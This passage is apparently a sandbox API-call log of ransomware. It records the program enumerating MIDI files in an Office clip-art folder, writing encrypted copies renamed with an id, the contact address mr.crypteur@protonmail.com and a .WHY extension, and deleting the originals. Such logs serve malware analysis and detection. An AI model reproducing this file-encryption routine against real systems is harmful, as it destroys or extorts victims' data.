lpString2=".MID") returned 1 [0233.893] lstrlenW (lpString=".xls") returned 4 [0233.893] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.893] lstrlenW (lpString=".xlsx") returned 5 [0233.893] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.893] lstrlenW (lpString=".ppt") returned 4 [0233.893] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.894] lstrlenW (lpString=".zip") returned 4 [0233.894] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.894] lstrlenW (lpString=".rar") returned 4 [0233.894] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.894] lstrlenW (lpString=".bz2") returned 4 [0233.894] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.894] lstrlenW (lpString=".7z") returned 3 [0233.894] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.894] lstrlenW (lpString=".dbf") returned 4 [0233.894] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.894] lstrlenW (lpString=".1cd") returned 4 [0233.894] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.895] lstrlenW (lpString=".jpg") returned 4 [0233.895] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.895] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0233.895] lstrlenW (lpString="FINCL_02.MID") returned 12 [0233.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.932] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=9318) returned 1 [0233.932] CloseHandle (hObject=0x320) returned 1 [0233.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0233.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.934] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.934] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0233.935] GetLastError () returned 0x0 [0233.935] ReadFile (in: hFile=0x320, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x2466, lpOverlapped=0x0) returned 1 [0233.942] WriteFile (in: hFile=0x384, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0233.945] ReadFile (in: hFile=0x320, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.945] WriteFile (in: hFile=0x384, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.946] SetEndOfFile (hFile=0x384) returned 1 [0233.948] CloseHandle (hObject=0x384) returned 1 [0233.953] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.953] SetEndOfFile (hFile=0x320) returned 1 [0234.364] CloseHandle (hObject=0x320) returned 1 [0234.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0234.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.666] lstrlenW (lpString=".doc") returned 4 [0234.666] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.666] lstrlenW (lpString=".docx") returned 5 [0234.666] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0234.666] lstrlenW (lpString=".pdf") returned 4 [0234.666] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.666] lstrlenW (lpString=".xls") returned 4 [0234.666] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.666] lstrlenW (lpString=".xlsx") returned 5 [0234.666] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0234.667] lstrlenW (lpString=".ppt") returned 4 [0234.667] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.667] lstrlenW (lpString=".zip") returned 4 [0234.667] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.667] lstrlenW (lpString=".rar") returned 4 [0234.667] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.667] lstrlenW (lpString=".bz2") returned 4 [0234.667] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.667] lstrlenW (lpString=".7z") returned 3 [0234.667] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.667] lstrlenW (lpString=".dbf") returned 4 [0234.667] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.668] lstrlenW (lpString=".1cd") returned 4 [0234.668] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.668] lstrlenW (lpString=".jpg") returned 4 [0234.668] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.668] lstrlenW (lpString=".doc") returned 4 [0234.668] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.668] lstrlenW (lpString=".docx") returned 5 [0234.668] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0234.668] lstrlenW (lpString=".pdf") returned 4 [0234.669] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.669] lstrlenW (lpString=".xls") returned 4 [0234.669] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.669] lstrlenW (lpString=".xlsx") returned 5 [0234.669] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0234.669] lstrlenW (lpString=".ppt") returned 4 [0234.669] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.669] lstrlenW (lpString=".zip") returned 4 [0234.669] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.669] lstrlenW (lpString=".rar") returned 4 [0234.670] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.670] lstrlenW (lpString=".bz2") returned 4 [0234.670] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.670] lstrlenW (lpString=".7z") returned 3 [0234.670] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.670] lstrlenW (lpString=".dbf") returned 4 [0234.670] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.670] lstrlenW (lpString=".1cd") returned 4 [0234.670] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0234.670] lstrlenW (lpString=".jpg") returned 4 [0234.671] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.671] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.671] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0234.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.690] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6880) returned 1 [0234.690] CloseHandle (hObject=0x394) returned 1 [0234.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0234.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.699] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.699] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0234.702] GetLastError () returned 0x0 [0234.702] ReadFile (in: hFile=0x394, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0234.708] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0234.711] ReadFile (in: hFile=0x394, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.711] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.712] SetEndOfFile (hFile=0x38c) returned 1 [0234.712] CloseHandle (hObject=0x38c) returned 1 [0234.714] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.714] SetEndOfFile (hFile=0x394) returned 1 [0234.722] CloseHandle (hObject=0x394) returned 1 [0234.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0234.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.724] lstrlenW (lpString=".doc") returned 4 [0234.724] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.724] lstrlenW (lpString=".docx") returned 5 [0234.724] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.724] lstrlenW (lpString=".pdf") returned 4 [0234.725] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.725] lstrlenW (lpString=".xls") returned 4 [0234.725] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.725] lstrlenW (lpString=".xlsx") returned 5 [0234.725] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.725] lstrlenW (lpString=".ppt") returned 4 [0234.725] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.725] lstrlenW (lpString=".zip") returned 4 [0234.725] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.725] lstrlenW (lpString=".rar") returned 4 [0234.725] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.726] lstrlenW (lpString=".bz2") returned 4 [0234.726] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.726] lstrlenW (lpString=".7z") returned 3 [0234.726] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.726] lstrlenW (lpString=".dbf") returned 4 [0234.726] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.726] lstrlenW (lpString=".1cd") returned 4 [0234.726] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.726] lstrlenW (lpString=".jpg") returned 4 [0234.726] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.727] lstrlenW (lpString=".doc") returned 4 [0234.727] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.727] lstrlenW (lpString=".docx") returned 5 [0234.797] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.797] lstrlenW (lpString=".pdf") returned 4 [0234.797] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.797] lstrlenW (lpString=".xls") returned 4 [0234.797] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.797] lstrlenW (lpString=".xlsx") returned 5 [0234.797] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.797] lstrlenW (lpString=".ppt") returned 4 [0234.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.797] lstrlenW (lpString=".zip") returned 4 [0234.798] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.798] lstrlenW (lpString=".rar") returned 4 [0234.798] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.798] lstrlenW (lpString=".bz2") returned 4 [0234.798] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.798] lstrlenW (lpString=".7z") returned 3 [0234.798] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.798] lstrlenW (lpString=".dbf") returned 4 [0234.798] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.798] lstrlenW (lpString=".1cd") returned 4 [0234.798] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0234.799] lstrlenW (lpString=".jpg") returned 4 [0234.799] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.799] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.799] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0234.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.976] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=5440) returned 1 [0234.976] CloseHandle (hObject=0x394) returned 1 [0234.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0235.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0236.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0236.477] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.477] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0236.478] GetLastError () returned 0x0 [0236.478] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x1540, lpOverlapped=0x0) returned 1 [0236.482] WriteFile (in: hFile=0x39c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x1550, lpOverlapped=0x0) returned 1 [0236.485] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.486] WriteFile (in: hFile=0x39c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.486] SetEndOfFile (hFile=0x39c) returned 1 [0236.486] CloseHandle (hObject=0x39c) returned 1 [0236.487] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.487] SetEndOfFile (hFile=0x38c) returned 1 [0236.494] CloseHandle (hObject=0x38c) returned 1 [0236.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0236.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0236.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.496] lstrlenW (lpString=".doc") returned 4 [0236.496] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.496] lstrlenW (lpString=".docx") returned 5 [0236.496] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0236.496] lstrlenW (lpString=".pdf") returned 4 [0236.496] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.496] lstrlenW (lpString=".xls") returned 4 [0236.496] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.496] lstrlenW (lpString=".xlsx") returned 5 [0236.496] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0236.496] lstrlenW (lpString=".ppt") returned 4 [0236.497] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.497] lstrlenW (lpString=".zip") returned 4 [0236.497] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.497] lstrlenW (lpString=".rar") returned 4 [0236.497] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.497] lstrlenW (lpString=".bz2") returned 4 [0236.497] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.497] lstrlenW (lpString=".7z") returned 3 [0236.497] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.497] lstrlenW (lpString=".dbf") returned 4 [0236.497] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.498] lstrlenW (lpString=".1cd") returned 4 [0236.498] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.498] lstrlenW (lpString=".jpg") returned 4 [0236.498] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.498] lstrlenW (lpString=".doc") returned 4 [0236.498] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.498] lstrlenW (lpString=".docx") returned 5 [0236.498] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0236.499] lstrlenW (lpString=".pdf") returned 4 [0236.499] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.499] lstrlenW (lpString=".xls") returned 4 [0236.499] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.499] lstrlenW (lpString=".xlsx") returned 5 [0236.499] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0236.499] lstrlenW (lpString=".ppt") returned 4 [0236.499] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0236.499] lstrlenW (lpString=".zip") returned 4 [0236.499] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.499] lstrlenW (lpString=".rar") returned 4 [0236.499] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.500] lstrlenW (lpString=".bz2") returned 4 